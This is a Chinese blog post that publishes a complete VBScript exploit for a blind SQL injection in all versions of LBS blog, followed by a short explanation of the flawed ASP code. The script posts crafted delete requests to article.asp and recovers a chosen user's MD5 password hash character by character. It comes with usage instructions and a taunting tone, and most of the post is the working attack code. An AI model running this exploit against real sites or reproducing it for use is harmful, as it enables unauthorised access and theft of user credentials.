LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
浏览器无法运行JAVA脚本的解决方法
Jan 09 Javascript
潜说js对象和数组
May 25 Javascript
左右悬浮可分组的网站QQ在线客服代码(可谓经典)
Dec 21 Javascript
js使用for循环及if语句判断多个一样的name
Sep 09 Javascript
Javascript中的apply()方法浅析
Mar 15 Javascript
jquery插件ajaxupload实现文件上传操作
Dec 09 Javascript
JavaScript鼠标特效大全
Sep 13 Javascript
JavaScript中var、let、const区别浅析
Jun 24 Javascript
vue 中 命名视图的用法实例详解
Aug 14 Javascript
JS Ajax请求会话过期处理问题解决方法分析
Nov 16 Javascript
详解vue-template-admin三级路由无法缓存的解决方案
Mar 10 Javascript
vue实现简单计算商品价格
Sep 14 Javascript
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
AM/FM收音机的安装与调试
2021/03/02 无线电
延长phpmyadmin登录时间的方法
2011/02/06 PHP
PHP显示今天、今月、上月、今年的起点/终点时间戳的代码
2011/05/25 PHP
PHP实现数字补零功能的2个函数介绍
2014/05/12 PHP
Jquery中val()表单取值赋值的实例代码
2013/08/15 Javascript
javascript解析json实例详解
2014/11/05 Javascript
jquery简单插件制作(fn.extend)完整实例
2016/05/24 Javascript
js简单实现调整网页字体大小的方法
2016/07/23 Javascript
angularjs实现猜大小功能
2017/10/23 Javascript
js实现敏感词过滤算法及实现逻辑
2018/07/24 Javascript
浅谈vue 单文件探索
2018/09/05 Javascript
js实现一个页面多个倒计时的3种方法
2019/02/25 Javascript
微信小程序webview 脚手架使用详解
2019/07/22 Javascript
基于Vue 撸一个指令实现拖拽功能
2019/10/09 Javascript
JavaScript设计模式--桥梁模式引入操作实例分析
2020/05/23 Javascript
微信小程序实现购物车功能
2020/11/18 Javascript
详解Python中的条件判断语句
2015/05/14 Python
Python 自动刷博客浏览量实例代码
2017/06/14 Python
在django中使用自定义标签实现分页功能
2017/07/04 Python
Python+PIL实现支付宝AR红包
2018/02/09 Python
Python向MySQL批量插数据的实例讲解
2018/03/31 Python
python实现三维拟合的方法
2018/12/29 Python
Python注释、分支结构、循环结构、伪“选择结构”用法实例分析
2020/01/09 Python
详解canvas drawImage()方法绘制图片不显示的问题
2018/10/08 HTML / CSS
乌克兰在线药房:Аптека24
2019/10/30 全球购物
夜大毕业自我鉴定
2013/10/11 职场文书
退休感言
2014/01/28 职场文书
销售业务员岗位职责
2014/01/29 职场文书
财政局党的群众路线教育实践活动整改方案
2014/09/21 职场文书
2015元旦联欢晚会结束语
2014/12/14 职场文书
小学入学感言
2015/08/01 职场文书
2016教师廉洁从教心得体会
2016/01/13 职场文书
nginx如何将http访问的网站改成https访问
2021/03/31 Servers
Go 语言中 20 个占位符的整理
2021/10/16 Golang
排查并解决Oracle sysaux表空间异常增长
2022/04/20 Oracle
java中如何截取字符串最后一位
2022/07/07 Java/Android